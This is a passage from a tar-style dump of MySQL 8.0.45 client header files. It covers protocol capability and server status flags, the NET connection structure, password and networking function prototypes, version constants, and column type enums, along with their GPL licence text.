RESOURCES. @sa ::reset_mqh \ */ #define REFRESH_FOR_EXPORT 0x100000L /** FLUSH TABLES ... FOR EXPORT */ #define REFRESH_OPTIMIZER_COSTS 0x200000L /** FLUSH OPTIMIZER_COSTS */ #define REFRESH_PERSIST 0x400000L /** RESET PERSIST */ /** @}*/ /** @defgroup group_cs_capabilities_flags Capabilities Flags @ingroup group_cs @brief Values for the capabilities flag bitmask used by the MySQL protocol Currently need to fit into 32 bits. Each bit represents an optional feature of the protocol. Both the client and the server are sending these. The intersection of the two determines whast optional parts of the protocol will be used. */ /** @addtogroup group_cs_capabilities_flags @{ */ /** Use the improved version of Old Password Authentication. Not used. @note Assumed to be set since 4.1.1. */ #define CLIENT_LONG_PASSWORD 1 /** Send found rows instead of affected rows in @ref page_protocol_basic_eof_packet */ #define CLIENT_FOUND_ROWS 2 /** @brief Get all column flags Longer flags in Protocol::ColumnDefinition320. @todo Reference Protocol::ColumnDefinition320 Server ------ Supports longer flags. Client ------ Expects longer flags. */ #define CLIENT_LONG_FLAG 4 /** Database (schema) name can be specified on connect in Handshake Response Packet. @todo Reference Handshake Response Packet. Server ------ Supports schema-name in Handshake Response Packet. Client ------ Handshake Response Packet contains a schema-name. @sa send_client_reply_packet() */ #define CLIENT_CONNECT_WITH_DB 8 #define CLIENT_NO_SCHEMA \ 16 /**< DEPRECATED: Don't allow database.table.column */ /** Compression protocol supported. @todo Reference Compression Server ------ Supports compression. Client ------ Switches to Compression compressed protocol after successful authentication. */ #define CLIENT_COMPRESS 32 /** Special handling of ODBC behavior. @note No special behavior since 3.22. */ #define CLIENT_ODBC 64 /** Can use LOAD DATA LOCAL. Server ------ Enables the LOCAL INFILE request of LOAD DATA|XML. Client ------ Will handle LOCAL INFILE request. */ #define CLIENT_LOCAL_FILES 128 /** Ignore spaces before '(' Server ------ Parser can ignore spaces before '('. Client ------ Let the parser ignore spaces before '('. */ #define CLIENT_IGNORE_SPACE 256 /** New 4.1 protocol @todo Reference the new 4.1 protocol Server ------ Supports the 4.1 protocol. Client ------ Uses the 4.1 protocol. @note this value was CLIENT_CHANGE_USER in 3.22, unused in 4.0 */ #define CLIENT_PROTOCOL_41 512 /** This is an interactive client Use @ref System_variables::net_wait_timeout versus @ref System_variables::net_interactive_timeout. Server ------ Supports interactive and noninteractive clients. Client ------ Client is interactive. @sa mysql_real_connect() */ #define CLIENT_INTERACTIVE 1024 /** Use SSL encryption for the session @todo Reference SSL Server ------ Supports SSL Client ------ Switch to SSL after sending the capability-flags. */ #define CLIENT_SSL 2048 /** Client only flag. Not used. Client ------ Do not issue SIGPIPE if network failures occur (libmysqlclient only). @sa mysql_real_connect() */ #define CLIENT_IGNORE_SIGPIPE 4096 /** Client knows about transactions Server ------ Can send status flags in @ref page_protocol_basic_ok_packet / @ref page_protocol_basic_eof_packet. Client ------ Expects status flags in @ref page_protocol_basic_ok_packet / @ref page_protocol_basic_eof_packet. @note This flag is optional in 3.23, but always set by the server since 4.0. @sa send_server_handshake_packet(), parse_client_handshake_packet(), net_send_ok(), net_send_eof() */ #define CLIENT_TRANSACTIONS 8192 #define CLIENT_RESERVED 16384 /**< DEPRECATED: Old flag for 4.1 protocol */ #define CLIENT_RESERVED2 \ 32768 /**< DEPRECATED: Old flag for 4.1 authentication \ CLIENT_SECURE_CONNECTION */ /** Enable/disable multi-stmt support Also sets @ref CLIENT_MULTI_RESULTS. Currently not checked anywhere. Server ------ Can handle multiple statements per COM_QUERY and COM_STMT_PREPARE. Client ------- May send multiple statements per COM_QUERY and COM_STMT_PREPARE. @note Was named ::CLIENT_MULTI_QUERIES in 4.1.0, renamed later. Requires -------- ::CLIENT_PROTOCOL_41 @todo Reference COM_QUERY and COM_STMT_PREPARE */ #define CLIENT_MULTI_STATEMENTS (1UL << 16) /** Enable/disable multi-results Server ------ Can send multiple resultsets for COM_QUERY. Error if the server needs to send them and client does not support them. Client ------- Can handle multiple resultsets for COM_QUERY. Requires -------- ::CLIENT_PROTOCOL_41 @sa mysql_execute_command(), sp_head::MULTI_RESULTS */ #define CLIENT_MULTI_RESULTS (1UL << 17) /** Multi-results and OUT parameters in PS-protocol. Server ------ Can send multiple resultsets for COM_STMT_EXECUTE. Client ------ Can handle multiple resultsets for COM_STMT_EXECUTE. Requires -------- ::CLIENT_PROTOCOL_41 @todo Reference COM_STMT_EXECUTE and PS-protocol @sa Protocol_binary::send_out_parameters */ #define CLIENT_PS_MULTI_RESULTS (1UL << 18) /** Client supports plugin authentication Server ------ Sends extra data in Initial Handshake Packet and supports the pluggable authentication protocol. Client ------ Supports authentication plugins. Requires -------- ::CLIENT_PROTOCOL_41 @todo Reference plugin authentication, Initial Handshake Packet, Authentication plugins @sa send_change_user_packet(), send_client_reply_packet(), run_plugin_auth(), parse_com_change_user_packet(), parse_client_handshake_packet() */ #define CLIENT_PLUGIN_AUTH (1UL << 19) /** Client supports connection attributes Server ------ Permits connection attributes in Protocol::HandshakeResponse41. Client ------ Sends connection attributes in Protocol::HandshakeResponse41. @todo Reference Protocol::HandshakeResponse41 @sa send_client_connect_attrs(), read_client_connect_attrs() */ #define CLIENT_CONNECT_ATTRS (1UL << 20) /** Enable authentication response packet to be larger than 255 bytes. When the ability to change default plugin require that the initial password field in the Protocol::HandshakeResponse41 paclet can be of arbitrary size. However, the 4.1 client-server protocol limits the length of the auth-data-field sent from client to server to 255 bytes. The solution is to change the type of the field to a true length encoded string and indicate the protocol change with this client capability flag. Server ------ Understands length-encoded integer for auth response data in Protocol::HandshakeResponse41. Client ------ Length of auth response data in Protocol::HandshakeResponse41 is a length-encoded integer. @todo Reference Protocol::HandshakeResponse41 @note The flag was introduced in 5.6.6, but had the wrong value. @sa send_client_reply_packet(), parse_client_handshake_packet(), get_56_lenc_string(), get_41_lenc_string() */ #define CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA (1UL << 21) /** Don't close the connection for a user account with expired password. Server ------ Announces support for expired password extension. Client ------ Can handle expired passwords. @todo Reference expired password @sa MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS, disconnect_on_expired_password ACL_USER::password_expired, check_password_lifetime(), acl_authenticate() */ #define CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS (1UL << 22) /** Capable of handling server state change information. Its a hint to the server to include the state change information in @ref page_protocol_basic_ok_packet. Server ------ Can set ::SERVER_SESSION_STATE_CHANGED in the ::SERVER_STATUS_flags_enum and send @ref sect_protocol_basic_ok_packet_sessinfo in a @ref page_protocol_basic_ok_packet. Client ------ Expects the server to send @ref sect_protocol_basic_ok_packet_sessinfo in a @ref page_protocol_basic_ok_packet. @sa enum_session_state_type, read_ok_ex(), net_send_ok(), Session_tracker, State_tracker */ #define CLIENT_SESSION_TRACK (1UL << 23) /** Client no longer needs @ref page_protocol_basic_eof_packet and will use @ref page_protocol_basic_ok_packet instead. @sa net_send_ok() Server ------ Can send OK after a Text Resultset. Client ------ Expects an @ref page_protocol_basic_ok_packet (instead of @ref page_protocol_basic_eof_packet) after the resultset rows of a Text Resultset. Background ---------- To support ::CLIENT_SESSION_TRACK, additional information must be sent after all successful commands. Although the @ref page_protocol_basic_ok_packet is extensible, the @ref page_protocol_basic_eof_packet is not due to the overlap of its bytes with the content of the Text Resultset Row. Therefore, the @ref page_protocol_basic_eof_packet in the Text Resultset is replaced with an @ref page_protocol_basic_ok_packet. @ref page_protocol_basic_eof_packet is deprecated as of MySQL 5.7.5. @todo Reference Text Resultset @sa cli_safe_read_with_ok(), read_ok_ex(), net_send_ok(), net_send_eof() */ #define CLIENT_DEPRECATE_EOF (1UL << 24) /** The client can handle optional metadata information in the resultset. */ #define CLIENT_OPTIONAL_RESULTSET_METADATA (1UL << 25) /** Compression protocol extended to support zstd compression method This capability flag is used to send zstd compression level between client and server provided both client and server are enabled with this flag. Server ------ Server sets this flag when global variable protocol-compression-algorithms has zstd in its list of supported values. Client ------ Client sets this flag when it is configured to use zstd compression method. */ #define CLIENT_ZSTD_COMPRESSION_ALGORITHM (1UL << 26) /** Support optional extension for query parameters into the @ref page_protocol_com_query and @ref page_protocol_com_stmt_execute packets. Server ------ Expects an optional part containing the query parameter set(s). Executes the query for each set of parameters or returns an error if more than 1 set of parameters is sent and the server can't execute it. Client ------ Can send the optional part containing the query parameter set(s). */ #define CLIENT_QUERY_ATTRIBUTES (1UL << 27) /** Support Multi factor authentication. Server ------ Server sends AuthNextFactor packet after every nth factor authentication method succeeds, except the last factor authentication. Client ------ Client reads AuthNextFactor packet sent by server and initiates next factor authentication method. */ #define MULTI_FACTOR_AUTHENTICATION (1UL << 28) /** This flag will be reserved to extend the 32bit capabilities structure to 64bits. */ #define CLIENT_CAPABILITY_EXTENSION (1UL << 29) /** Verify server certificate. Client only flag. @deprecated in favor of --ssl-mode. */ #define CLIENT_SSL_VERIFY_SERVER_CERT (1UL << 30) /** Don't reset the options after an unsuccessful connect Client only flag. Typically passed via ::mysql_real_connect() 's client_flag parameter. @sa mysql_real_connect() */ #define CLIENT_REMEMBER_OPTIONS (1UL << 31) /** @}*/ /** a compatibility alias for CLIENT_COMPRESS */ #define CAN_CLIENT_COMPRESS CLIENT_COMPRESS /** Gather all possible capabilities (flags) supported by the server */ #define CLIENT_ALL_FLAGS \ (CLIENT_LONG_PASSWORD | CLIENT_FOUND_ROWS | CLIENT_LONG_FLAG | \ CLIENT_CONNECT_WITH_DB | CLIENT_NO_SCHEMA | CLIENT_COMPRESS | CLIENT_ODBC | \ CLIENT_LOCAL_FILES | CLIENT_IGNORE_SPACE | CLIENT_PROTOCOL_41 | \ CLIENT_INTERACTIVE | CLIENT_SSL | CLIENT_IGNORE_SIGPIPE | \ CLIENT_TRANSACTIONS | CLIENT_RESERVED | CLIENT_RESERVED2 | \ CLIENT_MULTI_STATEMENTS | CLIENT_MULTI_RESULTS | CLIENT_PS_MULTI_RESULTS | \ CLIENT_SSL_VERIFY_SERVER_CERT | CLIENT_REMEMBER_OPTIONS | \ CLIENT_PLUGIN_AUTH | CLIENT_CONNECT_ATTRS | \ CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA | \ CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS | CLIENT_SESSION_TRACK | \ CLIENT_DEPRECATE_EOF | CLIENT_OPTIONAL_RESULTSET_METADATA | \ CLIENT_ZSTD_COMPRESSION_ALGORITHM | CLIENT_QUERY_ATTRIBUTES | \ MULTI_FACTOR_AUTHENTICATION) /** Switch off from ::CLIENT_ALL_FLAGS the flags that are optional and depending on build flags. If any of the optional flags is supported by the build it will be switched on before sending to the client during the connection handshake. */ #define CLIENT_BASIC_FLAGS \ (CLIENT_ALL_FLAGS & \ ~(CLIENT_SSL | CLIENT_COMPRESS | CLIENT_SSL_VERIFY_SERVER_CERT | \ CLIENT_ZSTD_COMPRESSION_ALGORITHM)) /** The status flags are a bit-field */ enum SERVER_STATUS_flags_enum { /** Is raised when a multi-statement transaction has been started, either explicitly, by means of BEGIN or COMMIT AND CHAIN, or implicitly, by the first transactional statement, when autocommit=off. */ SERVER_STATUS_IN_TRANS = 1, SERVER_STATUS_AUTOCOMMIT = 2, /**< Server in auto_commit mode */ SERVER_MORE_RESULTS_EXISTS = 8, /**< Multi query - next query exists */ SERVER_QUERY_NO_GOOD_INDEX_USED = 16, SERVER_QUERY_NO_INDEX_USED = 32, /** The server was able to fulfill the clients request and opened a read-only non-scrollable cursor for a query. This flag comes in reply to COM_STMT_EXECUTE and COM_STMT_FETCH commands. Used by Binary Protocol Resultset to signal that COM_STMT_FETCH must be used to fetch the row-data. @todo Refify "Binary Protocol Resultset" and "COM_STMT_FETCH". */ SERVER_STATUS_CURSOR_EXISTS = 64, /** This flag is sent when a read-only cursor is exhausted, in reply to COM_STMT_FETCH command. */ SERVER_STATUS_LAST_ROW_SENT = 128, SERVER_STATUS_DB_DROPPED = 256, /**< A database was dropped */ SERVER_STATUS_NO_BACKSLASH_ESCAPES = 512, /** Sent to the client if after a prepared statement reprepare we discovered that the new statement returns a different number of result set columns. */ SERVER_STATUS_METADATA_CHANGED = 1024, SERVER_QUERY_WAS_SLOW = 2048, /** To mark ResultSet containing output parameter values. */ SERVER_PS_OUT_PARAMS = 4096, /** Set at the same time as SERVER_STATUS_IN_TRANS if the started multi-statement transaction is a read-only transaction. Cleared when the transaction commits or aborts. Since this flag is sent to clients in OK and EOF packets, the flag indicates the transaction status at the end of command execution. */ SERVER_STATUS_IN_TRANS_READONLY = 8192, /** This status flag, when on, implies that one of the state information has changed on the server because of the execution of the last statement. */ SERVER_SESSION_STATE_CHANGED = (1UL << 14) }; /** Server status flags that must be cleared when starting execution of a new SQL statement. Flags from this set are only added to the current server status by the execution engine, but never removed -- the execution engine expects them to disappear automagically by the next command. */ #define SERVER_STATUS_CLEAR_SET \ (SERVER_QUERY_NO_GOOD_INDEX_USED | SERVER_QUERY_NO_INDEX_USED | \ SERVER_MORE_RESULTS_EXISTS | SERVER_STATUS_METADATA_CHANGED | \ SERVER_QUERY_WAS_SLOW | SERVER_STATUS_DB_DROPPED | \ SERVER_STATUS_CURSOR_EXISTS | SERVER_STATUS_LAST_ROW_SENT | \ SERVER_SESSION_STATE_CHANGED) /** Max length of a error message. Should be kept in sync with ::ERRMSGSIZE. */ #define MYSQL_ERRMSG_SIZE 512 #define NET_READ_TIMEOUT 30 /**< Timeout on read */ #define NET_WRITE_TIMEOUT 60 /**< Timeout on write */ #define NET_WAIT_TIMEOUT 8 * 60 * 60 /**< Wait for new query */ /** Flag used by the parser. Kill only the query and not the connection. @sa SQLCOM_KILL, sql_kill(), LEX::type */ #define ONLY_KILL_QUERY 1 #ifndef MYSQL_VIO struct Vio; #define MYSQL_VIO struct Vio * #endif #define MAX_TINYINT_WIDTH 3 /**< Max width for a TINY w.o. sign */ #define MAX_SMALLINT_WIDTH 5 /**< Max width for a SHORT w.o. sign */ #define MAX_MEDIUMINT_WIDTH 8 /**< Max width for a INT24 w.o. sign */ #define MAX_INT_WIDTH 10 /**< Max width for a LONG w.o. sign */ #define MAX_BIGINT_WIDTH 20 /**< Max width for a LONGLONG */ /// Max width for a CHAR column, in number of characters #define MAX_CHAR_WIDTH 255 /// Default width for blob in bytes @todo - align this with sizes from field.h #define MAX_BLOB_WIDTH 16777216 #define NET_ERROR_UNSET 0 /**< No error has occurred yet */ #define NET_ERROR_SOCKET_RECOVERABLE 1 /**< Socket still usable */ #define NET_ERROR_SOCKET_UNUSABLE 2 /**< Do not use the socket */ #define NET_ERROR_SOCKET_NOT_READABLE 3 /**< Try write and close socket */ #define NET_ERROR_SOCKET_NOT_WRITABLE 4 /**< Try read and close socket */ typedef struct NET { MYSQL_VIO vio; unsigned char *buff, *buff_end, *write_pos, *read_pos; my_socket fd; /* For Perl DBI/dbd */ /** Set if we are doing several queries in one command ( as in LOAD TABLE ... FROM MASTER ), and do not want to confuse the client with OK at the wrong time */ unsigned long remain_in_buf, length, buf_length, where_b; unsigned long max_packet, max_packet_size; unsigned int pkt_nr, compress_pkt_nr; unsigned int write_timeout, read_timeout, retry_count; int fcntl; unsigned int *return_status; unsigned char reading_or_writing; unsigned char save_char; bool compress; unsigned int last_errno; unsigned char error; /** Client library error message buffer. Actually belongs to struct MYSQL. */ char last_error[MYSQL_ERRMSG_SIZE]; /** Client library sqlstate buffer. Set along with the error message. */ char sqlstate[SQLSTATE_LENGTH + 1]; /** Extension pointer, for the caller private use. Any program linking with the networking library can use this pointer, which is handy when private connection specific data needs to be maintained. The mysqld server process uses this pointer internally, to maintain the server internal instrumentation for the connection. */ void *extension; } NET; #define packet_error (~(unsigned long)0) /** @addtogroup group_cs_backward_compatibility Backward compatibility @ingroup group_cs @{ */ #define CLIENT_MULTI_QUERIES CLIENT_MULTI_STATEMENTS #define FIELD_TYPE_DECIMAL MYSQL_TYPE_DECIMAL #define FIELD_TYPE_NEWDECIMAL MYSQL_TYPE_NEWDECIMAL #define FIELD_TYPE_TINY MYSQL_TYPE_TINY #define FIELD_TYPE_SHORT MYSQL_TYPE_SHORT #define FIELD_TYPE_LONG MYSQL_TYPE_LONG #define FIELD_TYPE_FLOAT MYSQL_TYPE_FLOAT #define FIELD_TYPE_DOUBLE MYSQL_TYPE_DOUBLE #define FIELD_TYPE_NULL MYSQL_TYPE_NULL #define FIELD_TYPE_TIMESTAMP MYSQL_TYPE_TIMESTAMP #define FIELD_TYPE_LONGLONG MYSQL_TYPE_LONGLONG #define FIELD_TYPE_INT24 MYSQL_TYPE_INT24 #define FIELD_TYPE_DATE MYSQL_TYPE_DATE #define FIELD_TYPE_TIME MYSQL_TYPE_TIME #define FIELD_TYPE_DATETIME MYSQL_TYPE_DATETIME #define FIELD_TYPE_YEAR MYSQL_TYPE_YEAR #define FIELD_TYPE_NEWDATE MYSQL_TYPE_NEWDATE #define FIELD_TYPE_ENUM MYSQL_TYPE_ENUM #define FIELD_TYPE_SET MYSQL_TYPE_SET #define FIELD_TYPE_TINY_BLOB MYSQL_TYPE_TINY_BLOB #define FIELD_TYPE_MEDIUM_BLOB MYSQL_TYPE_MEDIUM_BLOB #define FIELD_TYPE_LONG_BLOB MYSQL_TYPE_LONG_BLOB #define FIELD_TYPE_BLOB MYSQL_TYPE_BLOB #define FIELD_TYPE_VAR_STRING MYSQL_TYPE_VAR_STRING #define FIELD_TYPE_STRING MYSQL_TYPE_STRING #define FIELD_TYPE_CHAR MYSQL_TYPE_TINY #define FIELD_TYPE_INTERVAL MYSQL_TYPE_ENUM #define FIELD_TYPE_GEOMETRY MYSQL_TYPE_GEOMETRY #define FIELD_TYPE_BIT MYSQL_TYPE_BIT /** @}*/ /** @addtogroup group_cs_shutdown_kill_constants Shutdown/kill enums and constants @ingroup group_cs @sa THD::is_killable @{ */ #define MYSQL_SHUTDOWN_KILLABLE_CONNECT (unsigned char)(1 << 0) #define MYSQL_SHUTDOWN_KILLABLE_TRANS (unsigned char)(1 << 1) #define MYSQL_SHUTDOWN_KILLABLE_LOCK_TABLE (unsigned char)(1 << 2) #define MYSQL_SHUTDOWN_KILLABLE_UPDATE (unsigned char)(1 << 3) /** We want levels to be in growing order of hardness (because we use number comparisons). @note ::SHUTDOWN_DEFAULT does not respect the growing property, but it's ok. */ enum mysql_enum_shutdown_level { SHUTDOWN_DEFAULT = 0, /** Wait for existing connections to finish */ SHUTDOWN_WAIT_CONNECTIONS = MYSQL_SHUTDOWN_KILLABLE_CONNECT, /** Wait for existing transactons to finish */ SHUTDOWN_WAIT_TRANSACTIONS = MYSQL_SHUTDOWN_KILLABLE_TRANS, /** Wait for existing updates to finish (=> no partial MyISAM update) */ SHUTDOWN_WAIT_UPDATES = MYSQL_SHUTDOWN_KILLABLE_UPDATE, /** Flush InnoDB buffers and other storage engines' buffers*/ SHUTDOWN_WAIT_ALL_BUFFERS = (MYSQL_SHUTDOWN_KILLABLE_UPDATE << 1), /** Don't flush InnoDB buffers, flush other storage engines' buffers*/ SHUTDOWN_WAIT_CRITICAL_BUFFERS = (MYSQL_SHUTDOWN_KILLABLE_UPDATE << 1) + 1, /** Query level of the KILL command */ KILL_QUERY = 254, /** Connection level of the KILL command */ KILL_CONNECTION = 255 }; /** @}*/ enum enum_resultset_metadata { /** No metadata will be sent. */ RESULTSET_METADATA_NONE = 0, /** The server will send all metadata. */ RESULTSET_METADATA_FULL = 1 }; #if defined(__clang__) // disable -Wdocumentation to workaround // https://bugs.llvm.org/show_bug.cgi?id=38905 #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdocumentation" #endif /** The flags used in COM_STMT_EXECUTE. @sa @ref Protocol_classic::parse_packet, @ref mysql_int_serialize_param_data */ #if defined(__clang__) #pragma clang diagnostic pop #endif enum enum_cursor_type { CURSOR_TYPE_NO_CURSOR = 0, CURSOR_TYPE_READ_ONLY = 1, CURSOR_TYPE_FOR_UPDATE = 2, CURSOR_TYPE_SCROLLABLE = 4, /** On when the client will send the parameter count even for 0 parameters. */ PARAMETER_COUNT_AVAILABLE = 8 }; /** options for ::mysql_options() */ enum enum_mysql_set_option { MYSQL_OPTION_MULTI_STATEMENTS_ON, MYSQL_OPTION_MULTI_STATEMENTS_OFF }; /** Type of state change information that the server can include in the Ok packet. @note - session_state_type shouldn't go past 255 (i.e. 1-byte boundary). - Modify the definition of ::SESSION_TRACK_END when a new member is added. */ enum enum_session_state_type { SESSION_TRACK_SYSTEM_VARIABLES, /**< Session system variables */ SESSION_TRACK_SCHEMA, /**< Current schema */ SESSION_TRACK_STATE_CHANGE, /**< track session state changes */ SESSION_TRACK_GTIDS, /**< See also: session_track_gtids */ SESSION_TRACK_TRANSACTION_CHARACTERISTICS, /**< Transaction chistics */ SESSION_TRACK_TRANSACTION_STATE /**< Transaction state */ }; /** start of ::enum_session_state_type */ #define SESSION_TRACK_BEGIN SESSION_TRACK_SYSTEM_VARIABLES /** End of ::enum_session_state_type */ #define SESSION_TRACK_END SESSION_TRACK_TRANSACTION_STATE /** is T a valid session state type */ #define IS_SESSION_STATE_TYPE(T) \ (((int)(T) >= SESSION_TRACK_BEGIN) && ((T) <= SESSION_TRACK_END)) #define net_new_transaction(net) ((net)->pkt_nr = 0) bool my_net_init(struct NET *net, MYSQL_VIO vio); void my_net_local_init(struct NET *net); void net_end(struct NET *net); void net_clear(struct NET *net, bool check_buffer); void net_claim_memory_ownership(struct NET *net, bool claim); bool net_realloc(struct NET *net, size_t length); bool net_flush(struct NET *net); bool my_net_write(struct NET *net, const unsigned char *packet, size_t len); bool net_write_command(struct NET *net, unsigned char command, const unsigned char *header, size_t head_len, const unsigned char *packet, size_t len); bool net_write_packet(struct NET *net, const unsigned char *packet, size_t length); unsigned long my_net_read(struct NET *net); void my_net_set_write_timeout(struct NET *net, unsigned int timeout); void my_net_set_read_timeout(struct NET *net, unsigned int timeout); void my_net_set_retry_count(struct NET *net, unsigned int retry_count); struct rand_struct { unsigned long seed1, seed2, max_value; double max_value_dbl; }; /* Include the types here so existing UDFs can keep compiling */ #include "mysql/udf_registration_types.h" /** @addtogroup group_cs_compresson_constants Constants when using compression @ingroup group_cs @{ */ #define NET_HEADER_SIZE 4 /**< standard header size */ #define COMP_HEADER_SIZE 3 /**< compression header extra size */ /** @}*/ /* Prototypes to password functions */ /* These functions are used for authentication by client and server and implemented in sql/password.c */ void randominit(struct rand_struct *, unsigned long seed1, unsigned long seed2); double my_rnd(struct rand_struct *); void create_random_string(char *to, unsigned int length, struct rand_struct *rand_st); void hash_password(unsigned long *to, const char *password, unsigned int password_len); void make_scrambled_password_323(char *to, const char *password); void scramble_323(char *to, const char *message, const char *password); bool check_scramble_323(const unsigned char *reply, const char *message, unsigned long *salt); void get_salt_from_password_323(unsigned long *res, const char *password); void make_password_from_salt_323(char *to, const unsigned long *salt); void make_scrambled_password(char *to, const char *password); void scramble(char *to, const char *message, const char *password); bool check_scramble(const unsigned char *reply, const char *message, const unsigned char *hash_stage2); void get_salt_from_password(unsigned char *res, const char *password); void make_password_from_salt(char *to, const unsigned char *hash_stage2); char *octet2hex(char *to, const char *str, unsigned int len); /* end of password.c */ bool generate_sha256_scramble(unsigned char *dst, size_t dst_size, const char *src, size_t src_size, const char *rnd, size_t rnd_size); // extern "C" since it is an (undocumented) part of the libmysql ABI. #ifdef __cplusplus extern "C" { #endif char *get_tty_password(const char *opt_message); #ifdef __cplusplus } #endif const char *mysql_errno_to_sqlstate(unsigned int mysql_errno); /* Some other useful functions */ // Need to be extern "C" for the time being, due to memcached. #ifdef __cplusplus extern "C" { #endif bool my_thread_init(void); void my_thread_end(void); #ifdef __cplusplus } #endif #ifdef STDCALL unsigned long STDCALL net_field_length(unsigned char **packet); unsigned long STDCALL net_field_length_checked(unsigned char **packet, unsigned long max_length); #endif uint64_t net_field_length_ll(unsigned char **packet); unsigned char *net_store_length(unsigned char *pkg, unsigned long long length); unsigned int net_length_size(unsigned long long num); unsigned int net_field_length_size(const unsigned char *pos); #define NULL_LENGTH ((unsigned long)~0) /**< For ::net_store_length() */ #define MYSQL_STMT_HEADER 4 #define MYSQL_LONG_DATA_HEADER 6 #endif mysql/mysql_version.h 0000644 00000002165 15246445046 0011012 0 ustar 00 /* Copyright Abandoned 1996,1999 TCX DataKonsult AB & Monty Program KB & Detron HB, 1996, 1999-2004, 2007 MySQL AB. This file is public domain and comes with NO WARRANTY of any kind */ /* Version numbers for protocol & mysqld */ #ifndef _mysql_version_h #define _mysql_version_h #define PROTOCOL_VERSION 10 #define MYSQL_SERVER_VERSION "8.0.45" #define MYSQL_BASE_VERSION "mysqld-8.0" #define MYSQL_SERVER_SUFFIX_DEF "" #define MYSQL_VERSION_ID 80045 #define MYSQL_VERSION_STABILITY "LTS" #define MYSQL_PORT 3306 #define MYSQL_ADMIN_PORT 33062 #define MYSQL_PORT_DEFAULT 0 #define MYSQL_UNIX_ADDR "/var/lib/mysql/mysql.sock" #define MYSQL_CONFIG_NAME "my" #define MYSQL_PERSIST_CONFIG_NAME "mysqld-auto" #define MYSQL_COMPILATION_COMMENT "MySQL Community - GPL" #define MYSQL_COMPILATION_COMMENT_SERVER "MySQL Community Server - GPL" #define LIBMYSQL_VERSION "8.0.45" #define LIBMYSQL_VERSION_ID 80045 #ifndef LICENSE #define LICENSE GPL #endif /* LICENSE */ #endif /* _mysql_version_h */ mysql/field_types.h 0000644 00000006011 15246445046 0010401 0 ustar 00 /* Copyright (c) 2014, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /** @file field_types.h @brief This file contains the field type. @note This file can be imported both from C and C++ code, so the definitions have to be constructed to support this. */ #ifndef FIELD_TYPES_INCLUDED #define FIELD_TYPES_INCLUDED #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ /* * Constants exported from this package. */ /** Column types for MySQL */ enum enum_field_types { MYSQL_TYPE_DECIMAL, MYSQL_TYPE_TINY, MYSQL_TYPE_SHORT, MYSQL_TYPE_LONG, MYSQL_TYPE_FLOAT, MYSQL_TYPE_DOUBLE, MYSQL_TYPE_NULL, MYSQL_TYPE_TIMESTAMP, MYSQL_TYPE_LONGLONG, MYSQL_TYPE_INT24, MYSQL_TYPE_DATE, MYSQL_TYPE_TIME, MYSQL_TYPE_DATETIME, MYSQL_TYPE_YEAR, MYSQL_TYPE_NEWDATE, /**< Internal to MySQL. Not used in protocol */ MYSQL_TYPE_VARCHAR, MYSQL_TYPE_BIT, MYSQL_TYPE_TIMESTAMP2, MYSQL_TYPE_DATETIME2, /**< Internal to MySQL. Not used in protocol */ MYSQL_TYPE_TIME2, /**< Internal to MySQL. Not used in protocol */ MYSQL_TYPE_TYPED_ARRAY, /**< Used for replication only */ MYSQL_TYPE_INVALID = 243, MYSQL_TYPE_BOOL = 244, /**< Currently just a placeholder */ MYSQL_TYPE_JSON = 245, MYSQL_TYPE_NEWDECIMAL = 246, MYSQL_TYPE_ENUM = 247, MYSQL_TYPE_SET = 248, MYSQL_TYPE_TINY_BLOB = 249, MYSQL_TYPE_MEDIUM_BLOB = 250, MYSQL_TYPE_LONG_BLOB = 251, MYSQL_TYPE_BLOB = 252, MYSQL_TYPE_VAR_STRING = 253, MYSQL_TYPE_STRING = 254, MYSQL_TYPE_GEOMETRY = 255 }; #ifdef __cplusplus } // extern "C" #else typedef enum enum_field_types enum_field_types; #endif /* __cplusplus */ #endif /* FIELD_TYPES_INCLUDED */ mysql/mysqlx_version.h 0000644 00000003500 15246445046 0011174 0 ustar 00 /* * Copyright (c) 2016, 2025, Oracle and/or its affiliates. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License, version 2.0, * as published by the Free Software Foundation. * * This program is designed to work with certain software (including * but not limited to OpenSSL) that is licensed under separate terms, * as designated in a particular file or component or in included license * documentation. The authors of MySQL hereby grant you an additional * permission to link the program and your derivative works with the * separately licensed software that they have either included with * the program or referenced in the documentation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License, version 2.0, for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* Version numbers for X Plugin */ #ifndef _MYSQLX_VERSION_H_ #define _MYSQLX_VERSION_H_ #define MYSQLX_PLUGIN_VERSION_MAJOR 1 #define MYSQLX_PLUGIN_VERSION_MINOR 0 #define MYSQLX_PLUGIN_VERSION_PATCH 2 #define MYSQLX_PLUGIN_NAME "mysqlx" #define MYSQLX_STATUS_VARIABLE_PREFIX(NAME) "Mysqlx_" NAME #define MYSQLX_SYSTEM_VARIABLE_PREFIX(NAME) "mysqlx_" NAME #define MYSQLX_TCP_PORT 33060U #define MYSQLX_UNIX_ADDR "/var/run/mysqld/mysqlx.sock" #define MYSQLX_PLUGIN_VERSION ( (MYSQLX_PLUGIN_VERSION_MAJOR << 8) | MYSQLX_PLUGIN_VERSION_MINOR ) #define 